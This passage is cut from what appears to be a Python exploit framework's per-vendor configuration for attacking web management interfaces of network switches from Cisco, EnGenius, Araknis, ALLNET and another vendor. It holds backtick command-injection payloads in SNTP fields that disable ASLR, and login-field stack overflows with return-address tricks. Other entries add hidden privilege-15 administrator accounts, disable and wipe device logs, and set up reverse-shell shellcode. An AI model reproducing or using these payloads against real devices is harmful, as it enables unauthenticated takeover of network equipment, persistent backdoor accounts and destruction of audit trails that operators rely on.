						'enable_query':'sntp_enable=1&cmd=548',
						'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
						'inject_uri':'/cgi-bin/dispatcher.cgi',
						'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
						'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
						'delete_uri':'/cgi-bin/dispatcher.cgi',
						'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'sntp_enable=0&cmd=548',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'&_CMD_&login=1',
						'sys_ping_post_check':'',
						'sys_ping_post_SIGSEGV': False,		# SIGSEGV ?

						'workaround':True,	# My LAB workaround

						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',

						'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD
						'log_settings_set_SIGSEGV':False,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'',						# Clean RAM log CMD
						'log_ramClear_SIGSEGV':False,				# Clean RAM log SIGSEGV ?

						'log_fileClear_cmd':'',						# Clean FILE log CMD
						'log_fileClear_SIGSEGV':False,				# Clean FILE log SIGSEGV ?

						'workaround':True,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',

						'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
						'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',

						'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',

						'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
						'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
						'sys_timeSettings_set_SIGSEGV': False,		# SIGSEGV ?

						'workaround':True,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					}, 

					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
						'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
						'workaround':True,	# My LAB workaround
						'stack':True, # False = use Heap, and there are no ASLR
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Cisco': { 
				'vendor': 'Cisco Systems, Inc.',
				'model':'Sx220',
				'uri':'https://www.cisco.com/c/en/us/support/switches/small-business-220-series-smart-plus-switches/tsd-products-support-series-home.html',
				'modulus_uri':'/cgi/get.cgi?cmd=home_login',
				'info_leak':True,
				'info_leak_JSON':True,
				'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
				'xsid':True,
				'xsid_uri':'/cgi/get.cgi?cmd=home_main',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'rsa',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
					'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
					'logout_uri':'/cgi/set.cgi?cmd=home_logout',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'/cgi/set.cgi?cmd=log_settings',
						'disable_query':'{"_ds=1&ram_sev_0=on&ram_sev_1=on&ram_sev_2=on&ram_sev_3=on&ram_sev_4=on&ram_sev_5=on&ram_sev_6=on&_de=1":{}}',
						'status':'/cgi/get.cgi?cmd=log_settings',
						'clean_logfile_uri':'/cgi/set.cgi?cmd=log_fileClear',
						'clean_logfile_query':'{"":{}}',
						'clean_logmem_uri':'/cgi/set.cgi?cmd=log_ramClear',
						'clean_logmem_query':'{"":{}}',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'httpuploadbakcfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadbakcfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/mnt/backup-config',
							'content_check':'/mnt/backup-config',
							'vulnerable': True,
							'safe': True
						},
						'httpuploadlang.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/update "language" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadlang.cgi',
							'check_uri':False,		# 
							'content': self.random_string(30), # We checking returned 'errMsgLangMG' and LEN of this text
							'content_check':'errMsgLangMG',	#
							'vulnerable': True,
							'safe': True
						},
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadruncfg.cgi',
							'check_uri':'/tmp/http_saverun_cfg',
							'content':'/var/config/running-config',
							'content_check':'/var/config/running-config',
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httprestorecfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/mnt/startup-config',
							'content_check':'/mnt/startup-config',
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'/tmp/http_uploadfail',
							'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
							'content_check':'Copy: Illegal software format',
							'vulnerable': True,
							'safe': True
						},
						'login.cgi': {
							'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
							'authenticated': False,
							'response':'file',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
							'content':'{"_ds=1&username='+ self.random_string(32) +'&password=/tmp/VUL.TXT&_de=1":{}}',
							'content_check':'2',
							'vulnerable': True,
							'safe': True
						},
						'set.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'md5',
						'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
						#'encryption':'nopassword',
						#'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" nopassword\n\n------', # Yep, working too
						'add_uri':'/cgi/httpuploadruncfg.cgi',
						'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
						'del_uri':'/cgi/set.cgi?cmd=aaa_userDel',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,
						'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
						'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
						'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
						'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
						'delete_query':'{"":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
						'sys_ping_post_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						'log_settings_set_cmd':'',					# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'',						# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'',						# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
						'sys_timeSntp_set_cmd':'&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123',
						'sys_timeSntp_set_check':'&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123',

						'sys_timeSntpDel_set_cmd':'&sntpServer=+&cursntpPort=123',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sntpStatus=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sntpStatus=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					}, 
					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'logout_uri':'/cgi/set.cgi?cmd=home_logout',
						'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
						'stack':True, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'EnGenius': { 
				'vendor': 'EnGenius Technologies, Inc.',
				'modulus_uri':'',
				'info_leak':True,
				'info_leak_JSON':False,
				'info_leak_uri':'/loginMsg.js',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'',
					'login_uri':'',
					'query':'',
					'status_uri':'',
					'logout_uri':'',
					'vulnerable': False,
					'safe': True
				},
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'',
					'login_uri':'',
					'query':'',
					'status_uri':'',
					'logout_uri':'',
					'vulnerable': False,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'',
						'disable_query':'',
						'status':'',
						'clean_logfile_uri':'',
						'clean_logfile_query':'',
						'clean_logmem_uri':'',
						'clean_logmem_query':'',
						'vulnerable': False,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'security.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/security.cgi?login',
							'content':'usr=admin&pswrd=' + self.random_string(280),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'datajson.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/datajson.cgi?login',
							'content':'usr=admin&pswrd=' + self.random_string(288),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/sn_httpupload.cgi?', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'',
						'content':'',
						'add_uri':'',
						'del_query':'',
						'del_uri':'',
						'vulnerable': False,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,	# <================================
						'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
						'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
						'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
						'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
						'delete_query':'{"":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': False, # It is vulnerable, but I am not using this authenticated code here :>
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					# Bonus: Disable and clean logs
					#
					#
					'stack_cgi_add_account': {
						'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_del_account': {
						'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
						'sys_ping_post_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'log_settings_set_cmd':'&en=0',				# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&ta=0',					# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'&ta=1',				# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123',
						'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123',

						'sys_timeSntpDel_set_cmd':'&sa=+&sp=123',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sn=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sn=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/conf_tmp/check',
						'vulnerable': True,
						'safe': True
					}, 
					#
					# Used for both 'heap' and 'stack'
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/security.cgi?login',
						'logout_uri':'/cgi-bin/security.cgi?logout',
						'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
						#'stack':False, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Araknis': { 
				'vendor': 'Araknis Networks',
				'modulus_uri':'',
				'info_leak':True,
				'info_leak_JSON':False,
				'info_leak_uri':'/loginMsg.js',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'',
					'login_uri':'',
					'query':'',
					'status_uri':'',
					'logout_uri':'',
					'vulnerable': False,
					'safe': True
				},
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'',
					'login_uri':'',
					'query':'',
					'status_uri':'',
					'logout_uri':'',
					'vulnerable': False,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'',
						'disable_query':'',
						'status':'',
						'clean_logfile_uri':'',
						'clean_logfile_query':'',
						'clean_logmem_uri':'',
						'clean_logmem_query':'',
						'vulnerable': False,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'security.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/security.cgi?login',
							'content':'usr=admin&pswrd=' + self.random_string(280),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'datajson.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/datajson.cgi?login',
							'content':'usr=admin&pswrd=' + self.random_string(288),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/sn_httpupload.cgi?', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'',
						'content':'',
						'add_uri':'',
						'del_query':'',
						'del_uri':'',
						'vulnerable': False,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,	# <================================
						'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
						'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
						'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
						'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
						'delete_query':'{"":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
						'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': False, # It is vulnerable, but I am not using this authenticated code here :>
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_add_account': {
						'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_del_account': {
						'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
						'sys_ping_post_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'log_settings_set_cmd':'&en=0',				# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&ta=0',					# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'&ta=1',				# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/datajson.cgi?login',
						'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

						'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123',
						'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123',

						'sys_timeSntpDel_set_cmd':'&sa=+&sp=123',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sn=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sn=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/conf_tmp/check',
						'vulnerable': True,
						'safe': True
					}, 
					#
					# Used for both 'heap' and 'stack'
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/security.cgi?login',
						'logout_uri':'/cgi-bin/security.cgi?logout',
						'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
						'stack':False, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'ALLNET_JSON': { 
				'vendor': 'ALLNET GmbH Computersysteme',
				'model':'ALL-SG82xx',
				'uri':'https://www.allnet.de/',
				'modulus_uri':'/cgi/get.cgi?cmd=home_login',
				'info_leak':False,
				'info_leak_JSON':True,
				'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
				'xsid':False,
				'xsid_uri':'/cgi/get.cgi?cmd=home_main',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'rsa',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
					'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
					'logout_uri':'/cgi/set.cgi?cmd=home_logout',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'/cgi/set.cgi?cmd=log_global',
						'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
						'status':'/cgi/get.cgi?cmd=log_global',
						'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
						'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadruncfg.cgi',
							'check_uri':'/tmp/http_saverun_cfg',
							'content':'/var/config/running-config',
							'content_check':'/var/config/running-config',
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httprestorecfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/mnt/startup-config',
							'content_check':'/mnt/startup-config',
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'/tmp/http_uploadfail',
